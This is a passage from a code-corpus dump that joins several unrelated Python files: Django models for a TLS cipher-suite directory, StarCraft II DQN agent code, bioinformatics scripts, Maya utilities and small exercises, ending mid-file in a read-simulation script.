self.hash_algorithm.vulnerabilities.all().values_list('severity', flat=True)\n )\n\n @property\n def no_vulnerability(self):\n vulnerabilities = self.__get_vulnerabilities()\n if not any(vulnerabilities):\n return True\n else:\n return False\n\n @property\n def low_vulnerability(self):\n vulnerabilities = self.__get_vulnerabilities()\n if any([v for v in vulnerabilities if v=='LOW']):\n return True\n else:\n return False\n\n @property\n def medium_vulnerability(self):\n vulnerabilities = self.__get_vulnerabilities()\n if any([v for v in vulnerabilities if v=='MED']):\n return True\n else:\n return False\n\n @property\n def high_vulnerability(self):\n vulnerabilities = self.__get_vulnerabilities()\n if any([v for v in vulnerabilities if v=='HIG']):\n return True\n else:\n return False\n\n objects = models.Manager()\n custom_filters = CipherSuiteQuerySet.as_manager()\n\n def __str__(self):\n return self.name\n\n\nclass Rfc(models.Model):\n class Meta:\n verbose_name='RFC'\n verbose_name_plural='RFCs'\n ordering=['number']\n\n number = models.IntegerField(\n primary_key=True,\n )\n # predefined choices for document status\n IST = 'IST'\n PST = 'PST'\n DST = 'DST'\n BCP = 'BCP'\n INF = 'INF'\n EXP = 'EXP'\n HST = 'HST'\n UND = 'UND'\n STATUS_CHOICES = (\n (IST, 'Internet Standard'),\n (PST, 'Proposed Standard'),\n (DST, 'Draft Standard'),\n (BCP, 'Best Current Practise'),\n (INF, 'Informational'),\n (EXP, 'Experimental'),\n (HST, 'Historic'),\n (UND, 'Undefined'),\n )\n status = models.CharField(\n max_length=3,\n choices=STATUS_CHOICES,\n editable=False,\n )\n title = models.CharField(\n max_length=250,\n editable=False,\n )\n release_year = models.IntegerField(\n editable=False,\n )\n url = models.URLField(\n editable=False,\n )\n is_draft = models.BooleanField(\n editable=False,\n default=False,\n )\n defined_cipher_suites = models.ManyToManyField(\n 'CipherSuite',\n verbose_name=_('defined cipher suites'),\n related_name='defining_rfcs',\n blank=True,\n )\n related_documents = models.ManyToManyField(\n 'self',\n verbose_name=_('related RFCs'),\n blank=True,\n )\n\n def __str__(self):\n if self.is_draft:\n return f\"DRAFT RFC {self.number}\"\n else:\n return f\"RFC {self.number}\"\n\n\nclass Technology(models.Model):\n class Meta:\n abstract=True\n ordering=['short_name']\n\n short_name = models.CharField(\n primary_key=True,\n max_length=30,\n )\n long_name = models.CharField(\n max_length=100,\n )\n vulnerabilities = models.ManyToManyField(\n 'Vulnerability',\n blank=True,\n )\n\n def __str__(self):\n return self.short_name\n\n\nclass ProtocolVersion(Technology):\n class Meta(Technology.Meta):\n verbose_name=_('protocol version')\n verbose_name_plural=_('protocol versions')\n\n\nclass KexAlgorithm(Technology):\n class Meta(Technology.Meta):\n verbose_name=_('key exchange algorithm')\n verbose_name_plural=_('key exchange algorithms')\n\n\nclass AuthAlgorithm(Technology):\n class Meta(Technology.Meta):\n verbose_name=_('authentication algorithm')\n verbose_name_plural=_('authentication algorithms')\n\n\nclass EncAlgorithm(Technology):\n class Meta(Technology.Meta):\n verbose_name=_('encryption algorithm')\n verbose_name_plural=_('encryption algorithms')\n\n\nclass HashAlgorithm(Technology):\n class Meta(Technology.Meta):\n verbose_name=_('hash algorithm')\n verbose_name_plural=_('hash algorithms')\n\n\nclass Vulnerability(models.Model):\n class Meta:\n ordering=['name']\n verbose_name=_('vulnerability')\n verbose_name_plural=_('vulnerabilities')\n\n name = models.CharField(\n max_length=50,\n primary_key=True,\n )\n description = models.TextField(\n max_length=1000,\n blank=True,\n )\n HIG = 'HIG'\n MED = 'MED'\n LOW = 'LOW'\n SEVERITY_CHOICES = (\n (HIG, 'High'),\n (MED, 'Medium'),\n (LOW, 'Low'),\n )\n severity = models.CharField(\n max_length=3,\n choices=SEVERITY_CHOICES,\n default=LOW,\n )\n\n def __str__(self):\n return self.name\n\n\nclass StaticPage(models.Model):\n class Meta:\n ordering=['title']\n verbose_name=_('static page')\n verbose_name_plural=_('static pages')\n\n title = models.CharField(\n primary_key=True,\n max_length=50,\n )\n content = models.TextField(\n max_length = 10000,\n )\n glyphicon = models.CharField(\n max_length=50,\n )\n\n def __str__(self):\n return self.title\n\n\n######################\n# Signal definitions #\n######################\n\n\n@receiver(pre_save, sender=Rfc)\ndef complete_rfc_instance(sender, instance, *args, **kwargs):\n \"\"\"Automatically fetches general document information\n from ietf.org before saving RFC instance.\"\"\"\n\n def get_year(response):\n tree = html.fromstring(response.content)\n docinfo = \" \".join(\n tree.xpath('//pre[1]/text()')\n )\n month_list = ['January', 'February', 'March', 'April', 'May', 'June',\n 'July', 'August', 'September', 'October', 'November', 'December']\n month_and_year = re.compile(\n r'\\b(?:%s)\\b.*?(\\d{4})' % '|'.join(month_list)\n )\n match = month_and_year.search(docinfo)\n return int(match.group(1))\n\n def get_title(response):\n tree = html.fromstring(response.content)\n headers = tree.xpath('//span[@class=\"h1\"]/text()')\n return \" \".join(headers)\n\n def get_status(response):\n tree = html.fromstring(response.content)\n # concat all fields possibly containing doc status\n docinfo = \" \".join(\n tree.xpath('//span[@class=\"pre noprint docinfo\"]/text()')\n )\n\n # search for predefined options\n if re.search('INTERNET STANDARD', docinfo):\n return 'IST'\n elif re.search('PROPOSED STANDARD', docinfo):\n return 'PST'\n elif re.search('DRAFT STANDARD', docinfo):\n return 'DST'\n elif re.search('BEST CURRENT PRACTISE', docinfo):\n return 'BCP'\n elif re.search('INFORMATIONAL', docinfo):\n return 'INF'\n elif re.search('EXPERIMENTAL', docinfo):\n return 'EXP'\n elif re.search('HISTORIC', docinfo):\n return 'HST'\n else:\n return 'UND'\n\n if instance.is_draft:\n url = f\"https://tools.ietf.org/html/draft-ietf-tls-rfc{instance.number}\"\n else:\n url = f\"https://tools.ietf.org/html/rfc{instance.number}\"\n resp = requests.get(url)\n if resp.status_code == 200:\n instance.url = url\n instance.title = get_title(resp)\n instance.status = get_status(resp)\n instance.release_year = get_year(resp)\n else:\n # cancel saving the instance if unable to receive web page\n raise Exception('RFC not found')\n\n\n@receiver(pre_save, sender=CipherSuite)\ndef complete_cs_instance(sender, instance, *args, **kwargs):\n '''Derives related algorithms form instance.name of the cipher suites.'''\n\n # EXPORT substring does not describe any algorithm, so we remove it\n # substring is later appended to the protocol_version\n if re.search(\"EXPORT\", instance.name):\n name = instance.name.replace('EXPORT_', '')\n export_cipher = True\n else:\n name = instance.name\n export_cipher = False\n\n (prt,_,rst) = name.replace(\"_\", \" \").partition(\" \")\n (kex,_,rst) = rst.partition(\"WITH\")\n\n # add information about export-grade cipher to protocol version\n if export_cipher:\n prt += \" EXPORT\"\n\n # split kex again, potentially yielding auth algorithm\n # otherwise this variable will remain unchanged\n (kex,_,aut) = kex.partition(\" \")\n (enc,_,hsh) = rst.rpartition(\" \")\n\n # split enc again if we only got a number for hsh\n # specifically needed for 'CCM 8' hash algorithm\n if re.match('\\d+', hsh.strip()):\n (enc,_,ccm) = enc.rpartition(\" \")\n hsh = ccm + \" \" + hsh\n\n # connect foreign keys from other models\n instance.protocol_version, _ = ProtocolVersion.objects.get_or_create(\n short_name=prt.strip()\n )\n instance.kex_algorithm, _ = KexAlgorithm.objects.get_or_create(\n short_name=kex.strip()\n )\n instance.enc_algorithm, _ = EncAlgorithm.objects.get_or_create(\n short_name=enc.strip()\n )\n instance.hash_algorithm, _ = HashAlgorithm.objects.get_or_create(\n short_name=hsh.strip()\n )\n\n # if aut is not excplicitly defined, set it equal to kex\n if aut:\n instance.auth_algorithm, _ = AuthAlgorithm.objects.get_or_create(\n short_name=aut.strip()\n )\n else:\n instance.auth_algorithm, _ = AuthAlgorithm.objects.get_or_create( short_name=kex.strip())\n\n\n@receiver(pre_save, sender=CipherSuite)\ndef complete_cs_names(sender, instance, *args, **kwargs):\n try:\n related_gnutls = GnutlsCipher.objects.get(hex_byte_1__iexact=instance.hex_byte_1,\n hex_byte_2__iexact=instance.hex_byte_2)\n instance.gnutls_name = related_gnutls.name\n except ObjectDoesNotExist:\n pass\n\n try:\n related_openssl = OpensslCipher.objects.get(hex_byte_1__iexact=instance.hex_byte_1,\n hex_byte_2__iexact=instance.hex_byte_2)\n instance.openssl_name = related_openssl.name\n except ObjectDoesNotExist:\n pass\n\n","sub_path":"directory/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"131800302","text":"Cities={\r\n \"Karachi\":{\r\n \"Population\":\"16.62 million\",\r\n \"Fact\":\"It is the Sixth largest City in the world by city population\",\r\n \"Country\":\"Pakistan\"\r\n },\r\n \"Istanbul\":{\r\n \"Population\":\"15.07\",\r\n \"Fact\":\"Istanbul is the only city in the world which is both in Europe and Asia geographicaly\",\r\n \"Country\":\"Turkey\"\r\n },\r\n \"Sydney\":{\r\n \"Population\":\"5.23 million\",\r\n \"Fact\":\"It is the 12th most expensive city with property prices averaging USD8,717 per square metre\",\r\n \"Country\":\"Australia\"\r\n }\r\n}\r\nfor c_name,c_info in Cities.items():\r\n print(\"\\nCities Name: \", c_name)\r\n for key in c_info:\r\n print(key+\":\",c_info[key])\r\n","sub_path":"Assignment4/Q.2.py","file_name":"Q.2.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"104591127","text":"# A Floater is Prey; it updates by moving mostly in\n# a straight line, but with random changes to its\n# angle and speed, and displays as ufo.gif (whose\n# dimensions (width and height) are computed by\n# calling .width()/.height() on the PhotoImage\n\n\nfrom PIL.ImageTk import PhotoImage\nfrom prey import Prey\nimport random\n\n\nclass Floater(Prey):\n def __init__(self, x, y):\n Prey.__init__(self, x, y,10,10, 1,5)\n self._image = PhotoImage(file='ufo.gif')\n self.randomize_angle()\n\n \n def update(self,model):\n self.move()\n if random.randint(1,10) <= 3:\n self.randomize_angle()\n \n def randomize_angle(self):\n n = random.randint(0,1)\n if n:\n self._angle += 0.5\n else:\n self._angle -= 0.5 \n \n def randomize_speed(self):\n if 3 <= self._speed <= 7:\n pass\n else:\n n = random.randint(0,1)\n if n:\n self._speed += 0.5\n else:\n self._speed-= 0.5\n \n def display(self,canvas):\n canvas.create_image(self.get_location(),image=self._image)","sub_path":"floater.py","file_name":"floater.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"127502035","text":"\r\n\r\nfrom django.conf.urls import url\r\nfrom .import views\r\nurlpatterns = [\r\n url(r'^$', views.index, name='index'),\r\n url(r'^add/$', views.create, name='create'),\r\n url(r'^list/$', views.listdata, name='listdata'),\r\n \r\n]","sub_path":"wes/assignment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"328746512","text":"S=input()\nA=int(input())\nDic=[]\nfor i in range(A):\n Dic.append(input())\nDic.sort(key=lambda x:-len(x)) \ncheck=0\ndef isIn(S):\n global Dic\n global check\n c=0\n if(len(S)==0):\n return\n for a in Dic:\n s=S.find(a)\n if(s!=-1):\n isIn(S[0:s])\n isIn(S[s+len(a):])\n c=1\n break\n if(c==0):\n check=1\nisIn(S)\nif(check==0):\n print('1')\nelse:\n print('0')","sub_path":"junhee/dynamic/ad.py","file_name":"ad.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"305597603","text":"\n\"\"\"\nWritten by Michael McGuire to provide an enhanced base agent with simple repetitive functions. (09 / 29 / 2018)\n\"\"\"\n\nimport pysc2\nfrom pysc2.lib import actions, features, units\nfrom pysc2.agents import base_agent\nfrom pysc2.env import sc2_env\nfrom absl import app\nimport random\nfrom dqn import *\nfrom modified_state_space import state_modifier\nimport numpy as np\nimport tensorflow as tf\n\nclass EnhancedBaseAgent(base_agent.BaseAgent):\n\n def __init__(self):\n super(EnhancedBaseAgent, self).__init__()\n \n \n \n \"\"\"\n Returns True if obs shows that there is a unit of type unit_type currently selected\n \"\"\"\n def unit_type_is_selected(self, obs, unit_type):\n \n if (len(obs.observation.single_select) > 0 and\n obs.observation.single_select[0].unit_type == unit_type):\n return True\n \n if (len(obs.observation.multi_select) > 0 and\n obs.observation.multi_select[0].unit_type == unit_type):\n return True\n \n return False\n \n \n\ndef random_step(timestep_obs):\n arg=None #default value for debugging\n arg = np.random.randint(0,32+40+1)\n action_array = trans_action(arg) \n action= take_action(arg)\n\n return action ,action_array\n\n\n\n\"\"\"\n Runs 'agent' on map 'mapname' for 'iterations' iterations.\n Returns the data from all of the games run.\n\"\"\"\ndef run_game_with_agent( agent, mapname, iterations):\n ### dqn parameters\n frame_num=4\n state_size = [84,84,7*frame_num]\n action_size = 2 \n learning_rate = 0.001 \n\n \n eps_f = 0.05 \n eps_s = 1.00\n\n # Q learning hyperparameters\n gamma = 0.95 # Discounting rate\n\n ### TRAINING HYPERPARAMETERS\n total_episodes = 10 #prev 2000 # Total episodes for training\n batch_size = 2 #prev 100 \n iter_num = 10 #prev 20\n\n ### Experience HYPERPARAMETERS\n print(\"pre training!\")\n pretrain_length = batch_size # Number of experiences stored in the Memory when initialized for the first time\n experience_size = 3*batch_size #prev 800 \n dqn_sc2 = DQN(state_size, action_size, learning_rate)\n game_data = []\n exp= experience(experience_size) \n decay_rate= 0.0005 #prev 0.0005\n with sc2_env.SC2Env(\n map_name=mapname,\n agent_interface_format=features.AgentInterfaceFormat(\n feature_dimensions=features.Dimensions(screen=84, minimap=64),\n use_feature_units=True),\n step_mul=100, #if too low, nothing really happens\n visualize=True,\n game_steps_per_episode=0) as env:\n\n agent.setup(env.observation_spec(), env.action_spec())\n #pretrain\n state = State(4)\n for i in range(pretrain_length):\n # print(\"Playing game {}\".format(i+1))\n timesteps = env.reset()\n agent.reset()\n state.reinitialize( transform_state(timesteps) ) #initialize state\n \n while True :\n # print(\"new\")\n state_old = state\n [step_actions ,step_actions_array] = random_step(timesteps[0])\n # print(\"random action: \", step_actions)\n done = False\n if timesteps[0].last():\n done=True\n reward = get_reward(timesteps[0],done)\n timesteps = env.step([step_actions])\n state.add( transform_state(timesteps) )\n # for layer in state[0]:\n # # print(\"layer: \", layer.shape)\n # print (\"Is zero?: \", (np.zeros(layer.shape) == layer).all())\n exp.add([state_old.get(),step_actions_array, reward, state.get(), done])\n \n if timesteps[0].last():\n break\n \n # print(\"timesteps [0] : \", type(timesteps[0]))\n\n #train\n agent.setup(env.observation_spec(), env.action_spec())\n saver = tf.train.Saver()\n # total_learning_episodes =10\n agent.reset()\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n time = 0 #initialize time\n for i in range(iter_num):\n train_iteration(env, sess, agent,exp, saver, total_episodes,dqn_sc2, eps_s, eps_f,decay_rate,time,batch_size , gamma)\n test(env, agent, saver,dqn_sc2,exp)\n return [] \n \n\n","sub_path":"Project/DQN/dqn_vanilla/enhancedbaseagentDQNYun.py","file_name":"enhancedbaseagentDQNYun.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"361704800","text":"try:\r\n import argparse\r\nexcept ImportError:\r\n print(\"Please check if module 'argparse' is installed\")\r\n quit()\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--summary_table', type=argparse.FileType('r'), required=True,\r\n help=\"Summary table with results of analyses: good.*_ref.genes_level.summary_table.tsv\")\r\nparser.add_argument('--kegg_description', type=argparse.FileType('r'), required=True,\r\n help=\"Table with description of KEGG pathways: Super-pathway(Category), Code, Description\")\r\nparser.add_argument('--output', type=str, required=True)\r\nargs = parser.parse_args()\r\n\r\n\r\ndef kegg_parsing(kegg_description, kegg_dict):\r\n header = kegg_description.readline()\r\n for line in kegg_description:\r\n description = line.strip().split(\"\\t\")\r\n category, code, pathway_description = description[0], description[1], description[2]\r\n if category not in kegg_dict.keys():\r\n kegg_dict[category] = {}\r\n\r\n kegg_dict[category][code] = {\"Description\": pathway_description,\r\n \"Redia\": [], \"Cercaria\": [], \"Marita\": [], \"Total_count\": []}\r\n\r\n\r\ndef summary_table_parsing(summary_table, kegg_dict):\r\n header = summary_table.readline()\r\n for line in summary_table:\r\n description = line.strip().split(\"\\t\")\r\n gene, kegg_pathways, redia_exp, cercaria_exp, marita_exp = description[0], description[15], \\\r\n float(description[26]), float(description[27]), float(description[28])\r\n\r\n for kegg_pathway in kegg_pathways.split(\",\"):\r\n if kegg_pathway.startswith(\"ko\"):\r\n for category, codes in kegg_dict.items():\r\n if kegg_pathway.split(\"ko\")[1] in codes:\r\n codes[kegg_pathway.split(\"ko\")[1]][\"Total_count\"].append(gene)\r\n\r\n if redia_exp >= 1:\r\n codes[kegg_pathway.split(\"ko\")[1]][\"Redia\"].append(gene)\r\n\r\n if cercaria_exp >= 1:\r\n codes[kegg_pathway.split(\"ko\")[1]][\"Cercaria\"].append(gene)\r\n\r\n if marita_exp >= 1:\r\n codes[kegg_pathway.split(\"ko\")[1]][\"Marita\"].append(gene)\r\n\r\n\r\ndef output_writing(output, kegg_dict):\r\n with open(\"{output}.all_pathways_with_5_or_more_genes.tsv\".format(output=output), 'a') as all_active_pathways:\r\n all_active_pathways.write(\"Category\\tPathway\\tRedia:GeneCount\\tCercaria:GeneCount\\tMarita:GeneCount\\t\"\r\n \"Total_GeneCount\\tRedia:Percent\\tCercaria:Percent\\tMarita:Percent\\n\")\r\n for category, codes in kegg_dict.items():\r\n for code, values in codes.items():\r\n if len(values[\"Total_count\"]) >= 5:\r\n all_active_pathways.write(\"{category}\\t{pathway}\\t{redia_count}\\t{cercaria_count}\\t{marita_count}\\t\"\r\n \"{total}\\t{redia_percent}\\t{cercaria_percent}\\t{marita_percent}\\n\".format(\r\n category=category,\r\n pathway=\"{code}|{description}\".format(code=code,\r\n description=values[\"Description\"]),\r\n redia_count=len(values[\"Redia\"]),\r\n cercaria_count=len(values[\"Cercaria\"]),\r\n marita_count=len(values[\"Marita\"]),\r\n total=len(values[\"Total_count\"]),\r\n redia_percent=\r\n round((len(values[\"Redia\"])/len(values[\"Total_count\"])) * 100, 2),\r\n cercaria_percent=\r\n round((len(values[\"Cercaria\"])/len(values[\"Total_count\"])) * 100, 2),\r\n marita_percent=\r\n round((len(values[\"Marita\"])/len(values[\"Total_count\"])) * 100, 2)))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n kegg_dict = {}\r\n kegg_parsing(args.kegg_description, kegg_dict)\r\n summary_table_parsing(args.summary_table, kegg_dict)\r\n output_writing(args.output, kegg_dict)\r\n","sub_path":"Psilostomatidae_KEGG_summary.py","file_name":"Psilostomatidae_KEGG_summary.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"129644260","text":"__author__ = 'Bassin'\n\nimport abc\n\n\nclass TableField(metaclass=abc.ABCMeta):\n value = None\n\n def __get__(self, instance, owner):\n return self.value\n\n @abc.abstractmethod\n def sql_name(self):\n return\n\n\nclass Integer(TableField):\n def sql_name(self):\n return \"integer\"\n\n def __set__(self, instance, value):\n if isinstance(value, int):\n self.value = value\n else:\n raise TypeError(\"Integer expected\")\n\n\nclass Str(TableField):\n def __init__(self, length=128):\n if not isinstance(length, int):\n raise TypeError(\"Str length must be integer\")\n self.length = length\n\n def __set__(self, instance, value):\n if isinstance(value, str):\n if len(value) <= self.length:\n self.value = value\n else:\n raise TypeError(\"Length of str is to big for this variable\")\n else:\n raise TypeError(\"String expected\")\n\n def sql_name(self):\n return \"varchar(\" + str(self.length) + \")\"\n\n\nclass TableMeta(type):\n table_attrs = {}\n\n def __new__(cls, clsname, bases, dct):\n for name, value in dct.items():\n if not name.startswith('__') and isinstance(value, TableField):\n cls.table_attrs[name] = value.sql_name()\n return super(TableMeta, cls).__new__(cls, clsname, bases, dct)\n\n def __setattr__(self, name, value):\n if not name.startswith('__') and isinstance(value, TableField):\n self.table_attrs[name] = value.sql_name()\n super().__setattr__(name, value)\n\n def __delattr__(self, item):\n self.table_attrs.pop(item)\n super().__delattr__(item)\n\n\n def sql(cls):\n init_str = \"CREATE TABLE \" + cls.__name__.lower() + \" (\\n\"\n fields = \"\"\n for name, val in sorted(cls.table_attrs.items()):\n fields += name.lower() + ' ' + val + \",\\n\"\n if fields:\n fields = fields[:-2]\n return init_str + fields + \"\\n)\"\n\n\nclass Table(metaclass=TableMeta):\n pass\n","sub_path":"src/Table.py","file_name":"Table.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"261770601","text":"from mayaPY.core import *\nimport math\nimport sys\ntry: sys.float_info\nexcept:\n\tclass SysFloatInfoAttribute:\n\t\tepsilon = 2.2204460492503131e-16\n\tsys.float_info = SysFloatInfoAttribute()\n\nclass mSceneNode(ompx.MPxNode):\n\t## the name of the nodeType\n\tkPluginNodeTypeName = 'mSceneNode'\n\t## the unique MTypeId for the node\n\tkPluginNodeId = om.MTypeId(0x00033340)\n\n\tsceneAttr=None\n\tsceneLn=\"sceneData\"\n\tsceneSn=\"scene\"\n\n\tdef __init__(self):\n\t\tompx.MPxNode.__init__(self)\n\n\tdef compute(self, *args):\n\t\treturn super(mSceneNode, self).compute(*args)\n\n\t@classmethod\n\tdef nodeCreator(cls):\n\t\treturn ompx.asMPxPtr(cls())\n\n\t@classmethod\n\tdef nodeInitializer(cls):\n\t\t# create attributes\n\t\ttypedAttr=om.MFnTypedAttribute()\n\t\tcls.sceneAttr=typedAttr.create(\n\t\t\tcls.sceneLn, cls.sceneSn, \n\t\t\tom.MFnData.kString\n\t\t)\n\t\ttypedAttr.setArray(True)\n\t\ttypedAttr.setStorable(True)\n\t\ttypedAttr.setReadable(True)\n\t\ttypedAttr.setWritable(True)\n\t\ttypedAttr.setChannelBox(True)\n\t\ttypedAttr.setDisconnectBehavior(om.MFnTypedAttribute.kDelete)\n\n\t\t# add attributes\n\t\tcls.addAttribute(cls.sceneAttr)\n\t\t# make connections\n\t\t","sub_path":"mayaPY/core/plugin/nodes/mSceneNode.py","file_name":"mSceneNode.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"591687579","text":"# -*- coding: utf-8 -*-\nfrom django import template\n\n\nregister = template.Library()\n\n\n@register.assignment_tag(takes_context=True)\ndef get_admin_sidebar_models(context):\n\n \"\"\" Получить список ссылок для сайдбара в админке \"\"\"\n\n user = context['request'].user\n data = []\n if user.is_superuser or user.has_perm('auth.add_user') or user.has_perm('auth.change_user'):\n data.append({'title': 'Пользователи', 'url': '/admin/auth/user/'})\n if user.is_superuser or user.has_perm('auth.add_group') or user.has_perm('auth.change_group'):\n data.append({'title': 'Группы', 'url': '/admin/auth/group/'})\n if user.is_superuser or user.has_perm('service.add_sitesettings') or user.has_perm('service.change_sitesettings'):\n data.append({'title': 'Сайты', 'url': '/admin/service/sitesettings/'})\n return data\n\n","sub_path":"src/app/templatetags/base_tags.py","file_name":"base_tags.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"250529912","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport logging\nimport os\nimport pyfaidx\nimport tempfile\nimport unittest\n\nfrom utils.bam_utils import compute_bam_stats, simulate_reads, merge_bams, generate_bam_donut\nfrom utils.fasta_utils import get_reference_sequence\nfrom utils.misc import parse_interval, run\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s')\n\n\ndef parse_args():\n p = argparse.ArgumentParser(description=\"This script lets the user add a tandem repeat expansion of a given length \"\n \"to some locus in the reference genome. It then simulates paired-end reads from this locus, and runs the bwa \"\n \"aligner to generate a synthetic .bam file. This .bam file is useful for checking how well different tandem \"\n \"repeat calling tools do at calling the given expansion. \"\n \"The key inputs are: a reference fasta file, the genomic locus coordinates, the repeat unit sequence and number \"\n \"of copies to insert at this locus, and lastly a 'template' .bam file which is used to define paired-end read \"\n \"simulation parameters like read length and fragment size. \"\n \"This script requires the following programs to be installed and on PATH: \"\n \"bedtools, samtools, bwa, java (version 8), wgsim, art_illumina\"\n )\n\n mode = p.add_mutually_exclusive_group(required=True)\n mode.add_argument(\"--wgsim\", action=\"store_true\", help=\"Simulate reads using wgsim ('wgsim' can be installed \"\n \"from: https://github.com/lh3/wgsim)\")\n mode.add_argument(\"--art\", action=\"store_true\", help=\"Simulate reads using ART ('art_illumina' can be installed \"\n \"from: https://www.niehs.nih.gov/research/resources/software/biostatistics/art/)\")\n\n p.add_argument(\"-e\", \"--wgsim-base-error-rate\", type=float, help=\"wgsim -e arg (base error rate [0.020]). GangSTR paper uses 0.001.\")\n p.add_argument(\"-r\", \"--wgsim-mutation-rate\", type=float, help=\"wgsim -r arg (rate of mutations [0.0010]). GangSTR paper uses 0.0001\")\n p.add_argument(\"-R\", \"--wgsim-fraction-indels\", type=float, help=\"wgsim -R arg (fraction of indels [0.15]). GangSTR paper uses 0.0001\")\n p.add_argument(\"-X\", \"--wgsim-p-indel-extension\", type=float, help=\"wgsim -X arg (probability an indel is extended [0.30]). GangSTR paper uses 0.0001\")\n\n p.add_argument(\"-u\", \"--new-repeat-unit\", required=True, help=\"The repeat unit sequence to insert at 'ref_repeat_coords'\")\n p.add_argument(\"-n\", \"--num-copies\", type=int, required=True, help=\"How many copies of the repeat unit to insert.\")\n p.add_argument(\"-t\", \"--num-copies-max\", type=int, help=\"If -t is specified, multiple bams will be \"\n \"generated - one for each copy number between -n and -t, with step size -i.\")\n p.add_argument(\"-i\", \"--num-copies-increment\", type=int, default=5, help=\"If -t is specified, multiple bams will be \"\n \"generated - one for each copy number between -n and -t, with step size -i.\")\n p.add_argument(\"-l\", \"--num-copies-list\", type=str, help=\"As an alternative to -n, -t and -i, this sets a \"\n \"comma-seperated list of copy numbers to simulate.\")\n\n p.add_argument(\"-p\", \"--padding\", type=int, default=5000, help=\"How many bases on either side of the reference \"\n \"repeat region to include in the synthetic reference from which reads are simulated.\")\n\n p.add_argument(\"--het\", action=\"store_true\", help=\"Simulate an individual that is heterozygous for \"\n \"--num-copies of --new-repeat-unit.\")\n p.add_argument(\"--hom\", action=\"store_true\", help=\"Simulate an individual that is homozygous for \"\n \"--num-copies of --new-repeat-unit.\")\n p.add_argument(\"--num-copies2\", type=int, help=\"If --het, how many copies of the repeat unit to insert for the 2nd alt allele. \"\n \"Defaults to the number of copies in the reference genome.\")\n\n p.add_argument(\"--read-length\", type=int, help=\"optional - explicitly set read length of simulated reads. This overrides read length from the template bam\")\n p.add_argument(\"--coverage\", type=float, help=\"optional - explicitly set simulated read coverage. This overrides mean coverage computed from the template bam\")\n\n p.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Generated simulated .bam even if it already exists.\")\n p.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"Verbose output.\")\n\n p.add_argument(\"--insert-simulated-reads-into-template-bam\", action=\"store_true\", help=\"Create the output .bam file\"\n \"by merging simulated reads with reads in the template bam that don't overlap the simulated region. This \"\n \"makes the output .bam file more realistic since it will have data for all regions, including off-target regions.\")\n\n p.add_argument(\"--output-off-target-regions\", action=\"store_true\", help=\"Computes off-target regions and outputs them to the repeat_regions.bed output file.\")\n p.add_argument(\"--min-off-target-coverage\", type=int, default=5, help=\"Minimum number of reads that has to map to a particular \"\n \"off-target region in order for this region to be included in the output. Only relevant when --output-off-target-regions is also used.\")\n p.add_argument(\"--set-off-target-regions\", help=\"Optional. Set off-target regions to this comma-separated string of loci.\")\n p.add_argument(\"--off-target-regions-padding\", type=int, help=\"Pad off-target regions by this many bases \"\n \"(including any regions provided via --set-off-target-regions).\")\n\n p.add_argument(\"--picard-jar-path\", help=\"Path of picard.jar\", required=True)\n p.add_argument(\"--picard-stop-after\", type=int, default=10**5, help=\"Number of reads to use for computing fragment size metrics.\")\n p.add_argument(\"--bwa-path\", help=\"Path of bwa program\", default=\"bwa\")\n p.add_argument(\"--wgsim-path\", help=\"Path of wgsim program\", default=\"wgsim\")\n p.add_argument(\"--art-illumina-path\", help=\"Path of art_illumina program\", default=\"art_illumina\")\n\n p.add_argument(\"--temp-dir\", default=\"/tmp\")\n\n p.add_argument(\"ref_repeat_coords\", help=\"1-based coordinates in the reference genome (eg. chr1:12345-54321). \"\n \"The reference bases in this interval will be replaced with -n copies of the --repeat-unit sequence.\")\n p.add_argument(\"ref_fasta_path\", help=\"reference fasta file path. Should also have a bwa index for running bwa mem.\")\n p.add_argument(\"template_bam_path\", help=\"simulated reads will mimic this bam's read length, paired-end fragment size \"\n \"distribution, and coverage in the repeat region.\")\n\n args = p.parse_args()\n\n if not args.het and not args.hom:\n args.het = True\n args.hom = True\n\n # validate paths\n for path in (args.ref_fasta_path, args.template_bam_path, args.picard_jar_path, args.temp_dir):\n if not os.path.exists(path):\n p.error(f\"Path not found: {path}\")\n\n return args\n\n\ndef main():\n args = parse_args()\n\n # generate synthetic reference sequence\n chrom, start_1based, end_1based = parse_interval(args.ref_repeat_coords)\n\n fasta_obj = pyfaidx.Fasta(args.ref_fasta_path, one_based_attributes=False, as_raw=True)\n\n # compute .bam stats\n if not args.force and os.path.isfile(\"bam_stats.json\"):\n with open(\"bam_stats.json\") as f:\n bam_stats = json.load(f)\n else:\n bam_stats = compute_bam_stats(\n args,\n args.template_bam_path,\n chrom,\n start_1based - args.padding,\n end_1based + args.padding)\n\n\n # compute output filename prefix\n sim_tool_name = \"wgsim\" if args.wgsim else \"art\" if args.art else \"\"\n output_filename_prefix = f\"{chrom}-{start_1based}-{end_1based}__with_{args.padding}_padding\"\n\n if 